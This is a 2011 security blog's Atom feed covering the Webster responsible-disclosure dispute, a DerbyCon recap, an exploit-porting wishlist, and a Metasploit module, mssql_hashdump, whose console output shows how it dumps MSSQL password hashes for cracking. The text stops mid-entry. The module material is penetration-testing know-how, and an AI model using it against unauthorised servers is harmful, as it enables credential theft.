<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1152299631250525001</id><updated>2012-01-13T22:02:55.057-08:00</updated><category term='tools'/><category term='sysadmin'/><category term='cyberwar'/><category term='news'/><category term='web'/><category term='SQL Injection'/><category term='C'/><category term='malware'/><category term='penetration testing'/><category term='FALE'/><category term='Exploit-DB'/><category term='BlackHat'/><category term='RSA'/><category term='vulnerabilities'/><category term='cracking'/><category term='scams'/><category term='standard'/><category term='SmartFTP'/><category term='AppSec'/><category term='bug bounty'/><category term='tips'/><category term='Netsparker'/><category term='xss'/><category term='lockpicking'/><category term='local file include'/><category term='cforms'/><category term='review'/><category term='training'/><category term='fraud'/><category term='coreftp'/><category term='reporting'/><category term='Dev'/><category term='scripting'/><category term='wikileaks'/><category term='NTLM'/><category term='SSH'/><category term='Sony'/><category term='mysql'/><category term='mitm'/><category term='WoW'/><category term='security'/><category term='Full Disclosure'/><category term='rants'/><category term='Metasploit'/><category term='legal'/><category term='gaming'/><category term='wordpress'/><category term='Ligatt'/><category term='fuzzer'/><category term='book review'/><category term='hackerspace'/><category term='rapid7'/><category term='google'/><category term='ruby'/><category term='Railgun'/><category term='SOX'/><category term='proxy'/><category term='Microsoft'/><category term='PS3'/><category term='burp'/><category term='HIPPA'/><category term='FUD'/><category term='SecurID'/><category term='perl'/><category term='passwords'/><category term='Anonymous'/><category term='Tavis Ormandy'/><category term='censorship'/><category term='CEH'/><category term='decryption'/><category term='lawsuit'/><category term='SSL'/><category term='Michal Zalewski'/><category term='charlotte'/><category term='bypass'/><category term='leaks'/><category term='Crypto'/><category term='VBS'/><category term='database'/><category term='apache'/><category term='derbycon'/><category term='Mcafee'/><category term='PCI'/><category term='cross-site scripting'/><category term='breach'/><category term='svchost'/><category term='hackers'/><category term='denial of service'/><category term='certification'/><category term='captcha'/><category term='antivirus'/><category term='winscp'/><category term='hacks'/><category term='compliance'/><category term='Exploits'/><category term='idiots'/><category term='DAT'/><category term='fixes'/><category term='mod_perl'/><title type='text'>Cosine Security</title><subtitle type='html'>Information Security, Application Security, Penetration Testing, Hacks, Scripting, Exploits, Security News, Malware, and other random garbage</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>59</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-4301087058366927046</id><published>2011-10-17T06:27:00.000-07:00</published><updated>2011-10-17T06:27:47.373-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='legal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>Some facts on the First State Superannuation Issue</title><content type='html'>Some blogger, has recently written a &lt;a href="http://coding-insecurity.blogspot.com/2011/10/why-you-never-test-without-permission.html"&gt;somewhat uninformed post on the whole Patrick Webster FSS issue&lt;/a&gt;. The author seems to be under some misapprehension about how these sorts of things work. Which is cocnerning for someone who claim to be a Web Application Security person, and is taking the pulpit to preach on the issue. Then again, why should we expect anything less from the Internet right?&lt;br /&gt;&lt;br /&gt;In his post the author states:&amp;nbsp;" It should go without saying that at this point that he could, just by the actions he had taken up to this point, be in violation of any number of data privacy laws."&lt;br /&gt;&lt;br /&gt;Really, goes without saying? Actually it doesn't. Let's take a look. The first statue they claim he is in violation state the following:&lt;br /&gt;&lt;br /&gt;308H &amp;nbsp; Unauthorised access to or modification of restricted data held in computer (summary offence)&lt;br /&gt;&lt;br /&gt;(1) &amp;nbsp;A person:&lt;br /&gt;(a) &amp;nbsp;who causes any unauthorised access to or modification of restricted data held in a computer, and&lt;br /&gt;(b) &amp;nbsp;who knows that the access or modification is unauthorised, and&lt;br /&gt;(c) &amp;nbsp;who intends to cause that access or modification,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; is guilty of an offence.&lt;br /&gt;Maximum penalty: Imprisonment for 2 years.&lt;br /&gt;&lt;br /&gt;(2) &amp;nbsp;An offence against this section is a summary offence.&lt;br /&gt;(3) &amp;nbsp;In this section:&lt;br /&gt;restricted data means data held in a computer, being data to which access is restricted by an access control system associated with a function of the computer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Let's look at the other statute that is referenced:&lt;br /&gt;&lt;br /&gt;478.1 &amp;nbsp;Unauthorised access to, or modification of, restricted data&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(1) &amp;nbsp;A person is guilty of an offence if:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(a) &amp;nbsp;the person causes any unauthorised access to, or modification of, restricted data; and&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(b) &amp;nbsp;the person intends to cause the access or modification; and&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(c) &amp;nbsp;the person knows that the access or modification is unauthorised; and&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(d) &amp;nbsp;one or more of the following applies:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (i) &amp;nbsp;the restricted data is held in a Commonwealth computer;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(ii) &amp;nbsp;the restricted data is held on behalf of the Commonwealth;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (iii) &amp;nbsp;the access to, or modification of, the restricted data is caused by means of a carriage service.&lt;br /&gt;Penalty: &amp;nbsp;2 years imprisonment.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(2) &amp;nbsp;Absolute liability applies to paragraph (1)(d).&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(3) &amp;nbsp;In this section:&lt;br /&gt;restricted data means data:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(a) &amp;nbsp;held in a computer; and&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(b) &amp;nbsp;to which access is restricted by an access control system associated with a function of the computer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Look closely at (3) in both statues. This can only apply if an access control was circumvented. Insecure Direct Object Reference is not bypassing an Access control. It is a complete lack of an Access Control. I may not be a lawyer, but I suspect that this charge would have a VERY hard time standing up in court.&lt;br /&gt;&lt;br /&gt;It really is not hard to look up these statues online. I would suggest that people actually read up on the subject matter. &amp;nbsp;all and all, I would be surprised if this whole matter doesn't blow over. The worst that I suspect will happen is that they make Webster sign that agreement on page 2 of their &lt;a href="http://media.risky.biz/fss_threat.pdf"&gt;letter&lt;/a&gt;&amp;nbsp;or refuse him any further online access. They could, theoretically, even drop him as a customer I suppose. I doubt any serious legal action will occur, but I could be wrong.&lt;br /&gt;&lt;br /&gt;Mr Webster, &amp;nbsp;I am behind you, and i am sure many others are too. Good luck.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-4301087058366927046?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/4301087058366927046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/10/some-facts-on-first-state.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4301087058366927046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4301087058366927046'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/10/some-facts-on-first-state.html' title='Some facts on the First State Superannuation Issue'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-6520415738989033470</id><published>2011-10-15T11:24:00.000-07:00</published><updated>2011-10-15T11:24:22.159-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='legal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>When even Responsible Disclosure Fails</title><content type='html'>Disclaimer: The opinions expressed in this blog are my own, and do not reflect the views of anyone but myself.&lt;br /&gt;&lt;br /&gt;In the latest &lt;a href="http://www.scmagazine.com.au/News/276780,security-researcher-threatened-with-vulnerability-repair-bill.aspx"&gt;incident&lt;/a&gt;, Patrick Webster of OSI Security, is&amp;nbsp;under&lt;a href="http://i.haymarket.net.au/News/20111014034645_FSS-Solicitors_Redacted.pdf"&gt;&amp;nbsp;threat of legal action&lt;/a&gt;. This threat comes after he &lt;a href="http://www.scmagazine.com.au/News/276678,researcher-discloses-vulnerability-to-firm-gets-police-visit.aspx"&gt;disclosed a vulnerability to&amp;nbsp;First State Superannuation&lt;/a&gt;&amp;nbsp;. The vulnerability was a case of direct Object Reference. By manipulating a GET parameter , Webster was able to access the statements of other customers. The legal threat is based around the idea that Webster violated Australian computer crime laws, and bypassed a security measure. Direct Object reference is not bypassing an access control. It is, by its very nature, the lack of an access control. Webster did not go public with this information, but rather went directly to the company to notify them of the flaw. On one hand, the company thanked him for his help. On the other hand they sicked the police after him and are trying to hold him responsible for the cost of fixing the flaw. Customers of First State Superannuation should be outraged at this. The company, which is responsible for protecting their customers' information has failed to do so. When one of these customers showed this failing, they held him responsible for it. The fact is, FSS has been negligent in providing&amp;nbsp;proper&amp;nbsp;security for their customers. They should be held accountable for this failing. Let's make a hypothetical analogy:&lt;br /&gt;&lt;br /&gt;A customer walks into his bank, and asks to access his safety deposit box. They ask him his box number, and he tells them the wrong box number by accident. They bring him another person's box without verifying his identity. When he explains the mistake to them, they call the police and have him arrested.&lt;br /&gt;&lt;br /&gt;If you read about this scenario in the newspaper you would be outraged. Why should it be any different in this case?&lt;br /&gt;&lt;br /&gt;What is even more deeply disturbing, is the fact that this is far from an isolated incident. In the past year, there have been at least 2 other cases just like this. Earlier this year, a security researched by the handle of Acidgen &lt;a href="http://www.darkreading.com/vulnerability-management/167901026/security/vulnerabilities/229402356/another-researcher-hit-with-threat-of-german-anti-hacking-law.html"&gt;disclosed a buffer overflow&amp;nbsp;vulnerability&amp;nbsp;to German Software company Magix&lt;/a&gt;. Acidgen contacted the&amp;nbsp;company&amp;nbsp;with the information, and had supposedly amiable communication with them. During the course of his&amp;nbsp;conversation, he supplied them with a Proof of Concept that opened up calculator when run. He asked the company to let him know when it would be patched so he could release the details after it had been fixed. This is when Magix began threatening legal action against Acidgen. Among their claims, are the claims that sending the PoC to them&amp;nbsp;constituted&amp;nbsp;distribution of 'hacking tools'. They also claim his intent to release the details after a patch constitutes extortion.&lt;br /&gt;&lt;br /&gt;Another example is the &lt;a href="http://www.pcmag.com/article2/0,2817,2379001,00.asp#fbid=GZ7b5jX9bKz"&gt;PlentyofFish.com dating site hack&lt;/a&gt;. Security researchers discovered a vulnerability in the site that allowed access to customers' private data. The researchers claim that they simply informed the&amp;nbsp;operators&amp;nbsp;of the site of the vulnerability. In a bizarre twist, the owner of the site posted a&amp;nbsp;bizarre&amp;nbsp;rambling &lt;a href="https://plentyoffish.wordpress.com/2011/01/31/plentyoffish-hacked/"&gt;blog post&lt;/a&gt; where he claimed that the researchers attempted to extort him. His story was bizarre in the extreme indicating Russian Mob involvement, extortion, and even originally implicated&amp;nbsp;journalist&amp;nbsp;&lt;a href="http://krebsonsecurity.com/2011/01/plentyoffish-com-hacked-blames-messenger/"&gt;Brian Krebs&lt;/a&gt; in this scheme.&lt;br /&gt;&lt;br /&gt;What I see here is a very alarming trend. Companies are trying to redirect all blame for their own failings to the very people who are trying to help make them more secure. If this trend continues, researchers will simply stop practicing responsible disclosure to most of these companies. In some cases the disclosure will go back to Full Disclosure practices. Otherwise, some researchers will&amp;nbsp;just&amp;nbsp;keep silent.&lt;br /&gt;&lt;br /&gt;So what would First State Superannuation say if Webster had kept silent. Then a month later someone far less scrupulous exploited this vulnerability to attempt to make a profit. FSS should be thanking Webster for saving them all the&amp;nbsp;embarrassment&amp;nbsp;and possible&amp;nbsp;repercussions&amp;nbsp;of their irresponsible 'security' practices. These companies need to wake up and work with the community to help protect themselves, or things are only going to get worse.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-6520415738989033470?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/6520415738989033470/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/10/when-even-responsible-disclosure-fails.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6520415738989033470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6520415738989033470'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/10/when-even-responsible-disclosure-fails.html' title='When even Responsible Disclosure Fails'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-9127272746748747536</id><published>2011-10-09T08:09:00.000-07:00</published><updated>2011-10-09T08:09:25.721-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='derbycon'/><title type='text'>DerbyCon Retrospective</title><content type='html'>Rel1k recently posted his thoughts on how DerbyCon, and I thought I would share my own. I have not exactly made a secret of how I felt about DerbyCon.&amp;nbsp;The speaker lineup was simply amazing. There were very few spots where I didn't have a talk I wanted to see. I unfortunately had to make some hard decisions between talks that were going at the same time.&lt;br /&gt;&lt;br /&gt;When I go to conferences, I often find myself wandering aimlessly for periods. I'm not interested in the talks that are on at that time, and I don't really have anyone to talk to. So I wander&amp;nbsp;about&amp;nbsp;until I find someone I know.&amp;nbsp;Every time&amp;nbsp;I started to&amp;nbsp;wander&amp;nbsp;at Derbycon, I would run into someone who wanted to talk about something. I had no real "down time" the entire conference.&lt;br /&gt;&lt;br /&gt;I spent time hanging out with, or at least talking to, people who have been something of heroes to me. I have followed some of these people for years, and getting to talk to them was great. What was even more amazing was that many of them knew who I was! Shaking hands with Chris Gates for the first time was surreal for me. I have followed Chris since I started in security. I tracked dookie2000ca down and finally got him to sign my copy of &amp;nbsp;Metasploit: A Penetration Tester's Guide.I got to spend time hanging out with jduck, corlanc0der, and sinn3r. &amp;nbsp;Everywhere I went, I felt not jsut like an equal, but like we were all friends. The&amp;nbsp;most&amp;nbsp;telling thing about the Information Security community is that we call it the Community, not the Industry. DerbyCon embodied this spirit. The entire weekend felt more like a family reunion than a conference, and I was sad to leave.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-pQNgxFhgWRw/TpG4WDa8h_I/AAAAAAAAACU/Ad1zfdZOQwQ/s1600/photo+3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="239" src="http://1.bp.blogspot.com/-pQNgxFhgWRw/TpG4WDa8h_I/AAAAAAAAACU/Ad1zfdZOQwQ/s320/photo+3.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;I was privileged to get to take the CoreLan Exploit Dev bootcamp. This training class was intense. We went from 1600-0200 both days, and didn't make it&amp;nbsp;through&amp;nbsp;everything.&amp;nbsp;Peter Van Eeckhoutte (corelanc0d3r), took a class of 30 people from different backgrounds and walked them through windows exploitation. Some people in the class had absolutely no experience in exploitation. Despite this, Peter kept the entire class moving along, and as far as I could tell, nobody was lost. It was a shame that I had to miss parts of the conference for this training, but I would make the same choice again.&lt;br /&gt;&lt;br /&gt;Brandon Perry and I wandered into the CTF room out of curiosity at one point. I had no plans to enter the cTF, so I hadn't really&amp;nbsp;brought&amp;nbsp;any tools with me. We decided to start playing around, not to seriously compete, but to have fun. We shared things we found with each other, and were&amp;nbsp;just&amp;nbsp;having&amp;nbsp;a good time. Before we knew it, we were on top of the leaderboard. The organizers came and asked us to either be scored as a team, or to stop working together. I closed my account out and we kept working together under Brandon's. I was tied up with training for&amp;nbsp;most&amp;nbsp;of the conference, so Brandon spent a lot more time on the CTF than I did. In the end, we ended up in 5th place. I think if we had gone in prepared from the start, and I had the time to focus on it, we could have won. See Brandon's writeup on the CTF efforts&amp;nbsp;&lt;a href="http://volatile-minds.blogspot.com/2011/10/derbycon-ctf-results-and-notes.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A few weeks before Derbycon, I started trying to put together a #metasploit meetup. I wanted to get everyone from the metasploit IRC channel together to hang out for a bit, have some drinks and just have fun. Mubix came up with the idea of throwing a birthday party for ms08-067, so the two ideas merged naturally. Mubix got it all organized and pulled off a great event. There was a big cake &amp;nbsp;and we all sang happy birthday. Then HD started handing out Redbull and Vodkas to EVERYONE at the party!&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Nzy8yGiOHBI/TpG4I-uC4OI/AAAAAAAAACQ/mIFB_otg4F0/s1600/IMG_20110930_195946.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="239" src="http://3.bp.blogspot.com/-Nzy8yGiOHBI/TpG4I-uC4OI/AAAAAAAAACQ/mIFB_otg4F0/s320/IMG_20110930_195946.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;So I have ranted for long&amp;nbsp;enough, I guess. The summary is this: Derbycon was probably one of the best experiences I have had. I felt at home the entire time I was there. The entire weekend made me more certain than ever that I am where I belong doing what I am meant to do. I can't possibly thank everybody enough, but thank you conference organizers, Rel1k, HD, Jduck, Corelanc0der, sinn3r, nullthreat, lincoln, bperry, Red, and everyone else I hung out with this weekend.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-9127272746748747536?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/9127272746748747536/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/10/derbycon-retrospective.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/9127272746748747536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/9127272746748747536'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/10/derbycon-retrospective.html' title='DerbyCon Retrospective'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-pQNgxFhgWRw/TpG4WDa8h_I/AAAAAAAAACU/Ad1zfdZOQwQ/s72-c/photo+3.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-5439259267343828175</id><published>2011-10-08T15:42:00.000-07:00</published><updated>2011-10-08T15:42:43.491-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Update to the Metasploit Exploit Port Wishlist</title><content type='html'>&lt;a href="https://docs.google.com/spreadsheet/ccc?key=0AlXvJY2tppv-dHFhUnVqZkloNG9QdWExVHR2ZzdfVGc&amp;amp;hl=en_US"&gt;Here&lt;/a&gt;&amp;nbsp;is the latest update to the document I have been creating. This is a list of exploits that are in exploit-db but not in Metasploit. This&amp;nbsp;list&amp;nbsp;is&amp;nbsp;generated&amp;nbsp;by referencing the&amp;nbsp;Knowledge Base&amp;nbsp;in QualysGuard. Its accuracy is not&amp;nbsp;guaranteed, but it should serve as a good starting point for anyone&amp;nbsp;interested&amp;nbsp;in porting exploits to Metasploit.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-5439259267343828175?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/5439259267343828175/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/10/update-to-metasploit-exploit-port.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5439259267343828175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5439259267343828175'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/10/update-to-metasploit-exploit-port.html' title='Update to the Metasploit Exploit Port Wishlist'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-685313999475242751</id><published>2011-07-30T15:24:00.000-07:00</published><updated>2011-07-30T15:24:07.296-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='passwords'/><category scheme='http://www.blogger.com/atom/ns#' term='cracking'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Metasploit: Dumping Microsoft SQL Server Hashes</title><content type='html'>New module&amp;nbsp;just&amp;nbsp;committed today: auxiliary/scanner/mssql/mssql_hashdump&lt;br /&gt;&lt;br /&gt;This modules takes given credentials and a port and attempts to log into one or more MSSQL Servers. Once it has logged in it will check to make sure it has sysadmin permissions. Assuming it has the needed permissions it will then grab all of the Database Username and Hashes. While it is in there, it will also grab all the Database and Table names. It reports all of this back into the Database for later cracking. Support will be added in the future to the John the Ripper functions to include support for these database hashes. When it does, the database, table names, and instance names will also be sued to seed the JtR wordlists to enhance cracking efforts.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf &amp;nbsp;auxiliary(mssql_hashdump) &amp;gt; info&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Name: MSSQL Password Hashdump&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Module: auxiliary/scanner/mssql/mssql_hashdump&lt;br /&gt;&amp;nbsp; &amp;nbsp; Version: 13435&lt;br /&gt;&amp;nbsp; &amp;nbsp; License: Metasploit Framework License (BSD)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Rank: Normal&lt;br /&gt;&lt;br /&gt;Provided by:&lt;br /&gt;&amp;nbsp; TheLightCosine &lt;thelightcosine@gmail.com&gt;&lt;/thelightcosine@gmail.com&gt;&lt;br /&gt;&lt;br /&gt;Basic options:&lt;br /&gt;&amp;nbsp; Name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Current Setting &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Required &amp;nbsp;Description&lt;br /&gt;&amp;nbsp; ---- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; --------------- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-------- &amp;nbsp;-----------&lt;br /&gt;&amp;nbsp; PASSWORD &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; reallybadpassword &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;no &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;The password for the specified username&lt;br /&gt;&amp;nbsp; RHOSTS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 192.168.1.1,192.168.1.2 &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The target address range or CIDR identifier&lt;br /&gt;&amp;nbsp; RPORT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The target port&lt;br /&gt;&amp;nbsp; THREADS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The number of concurrent threads&lt;br /&gt;&amp;nbsp; USERNAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sa &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; no &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;The username to authenticate as&lt;br /&gt;&amp;nbsp; USE_WINDOWS_AUTHENT &amp;nbsp;false &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; Use windows authentification&lt;br /&gt;&lt;br /&gt;Description:&lt;br /&gt;&amp;nbsp; This module extracts the usernames and encrypted password hashes&lt;br /&gt;&amp;nbsp; from a MSSQL server and stores them for later cracking. This module&lt;br /&gt;&amp;nbsp; also saves information about the server version and table names,&lt;br /&gt;&amp;nbsp; which can be used to seed the wordlist.&lt;br /&gt;&lt;br /&gt;msf &amp;nbsp;auxiliary(mssql_hashdump) &amp;gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-685313999475242751?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/685313999475242751/comments/default' title='Post Comments'/><link rel='replies' 